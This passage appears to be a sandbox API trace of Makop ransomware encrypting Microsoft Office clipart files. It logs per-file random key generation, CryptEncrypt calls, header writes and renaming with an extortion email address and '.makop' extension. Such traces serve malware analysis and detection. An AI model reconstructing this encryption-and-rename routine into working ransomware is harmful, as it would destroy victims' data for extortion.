dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.002] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x64c7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x64c7, lpOverlapped=0x0) returned 1 [0147.010] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x64d0, dwBufLen=0x64d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x64d0) returned 1 [0147.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.010] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x64d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x64d0, lpOverlapped=0x0) returned 1 [0147.011] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x65a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.011] SetEndOfFile (hFile=0xf0) returned 1 [0147.018] GetProcessHeap () returned 0x48a0000 [0147.018] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.018] GetProcessHeap () returned 0x48a0000 [0147.018] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.018] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.020] CloseHandle (hObject=0xf0) returned 1 [0147.020] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105ca100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x105ca100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x16f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02750U.BMP", cAlternateFileName="")) returned 1 [0147.020] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP") returned 63 [0147.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.021] GetProcessHeap () returned 0x48a0000 [0147.021] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.022] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.022] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.022] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.022] GetProcessHeap () returned 0x48a0000 [0147.022] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.022] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.022] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.022] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.026] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.026] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.027] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.028] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.028] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.028] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16f40, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16f40, lpOverlapped=0x0) returned 1 [0147.030] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16f40, dwBufLen=0x16f40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16f40) returned 1 [0147.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.031] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16f40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16f40, lpOverlapped=0x0) returned 1 [0147.032] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.032] SetEndOfFile (hFile=0xf0) returned 1 [0147.041] GetProcessHeap () returned 0x48a0000 [0147.041] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.041] GetProcessHeap () returned 0x48a0000 [0147.041] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.041] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.043] CloseHandle (hObject=0xf0) returned 1 [0147.043] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca500f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca500f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xc382, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02752G.GIF", cAlternateFileName="")) returned 1 [0147.043] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF") returned 63 [0147.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.045] GetProcessHeap () returned 0x48a0000 [0147.045] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.045] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.045] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.045] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0147.062] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.063] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.063] GetProcessHeap () returned 0x48a0000 [0147.063] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.063] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.063] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.064] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.064] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.064] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.064] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.065] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.065] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.065] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.065] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc382, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc382, lpOverlapped=0x0) returned 1 [0147.068] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc390, dwBufLen=0xc390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc390) returned 1 [0147.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.069] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc390, lpOverlapped=0x0) returned 1 [0147.069] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.070] SetEndOfFile (hFile=0xf0) returned 1 [0147.080] GetProcessHeap () returned 0x48a0000 [0147.080] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.080] GetProcessHeap () returned 0x48a0000 [0147.080] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.080] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.085] CloseHandle (hObject=0xf0) returned 1 [0147.085] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88769700, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88769700, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02752U.BMP", cAlternateFileName="")) returned 1 [0147.085] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 63 [0147.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.086] GetProcessHeap () returned 0x48a0000 [0147.087] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.087] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.087] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.087] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.092] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.092] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.092] GetProcessHeap () returned 0x48a0000 [0147.092] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.092] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.092] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.092] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.092] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.092] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.093] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.093] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.093] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c08, lpOverlapped=0x0) returned 1 [0147.097] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c10) returned 1 [0147.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c10, lpOverlapped=0x0) returned 1 [0147.098] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.098] SetEndOfFile (hFile=0xf0) returned 1 [0147.107] GetProcessHeap () returned 0x48a0000 [0147.107] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.107] GetProcessHeap () returned 0x48a0000 [0147.107] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.107] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.109] CloseHandle (hObject=0xf0) returned 1 [0147.110] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece62600, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xece62600, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02753U.BMP", cAlternateFileName="")) returned 1 [0147.110] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP") returned 63 [0147.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.112] GetProcessHeap () returned 0x48a0000 [0147.112] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.112] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.113] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.117] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.117] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.117] GetProcessHeap () returned 0x48a0000 [0147.118] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.118] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.118] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.118] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.118] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.118] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.119] WriteFile (in: hFile=0xf0, 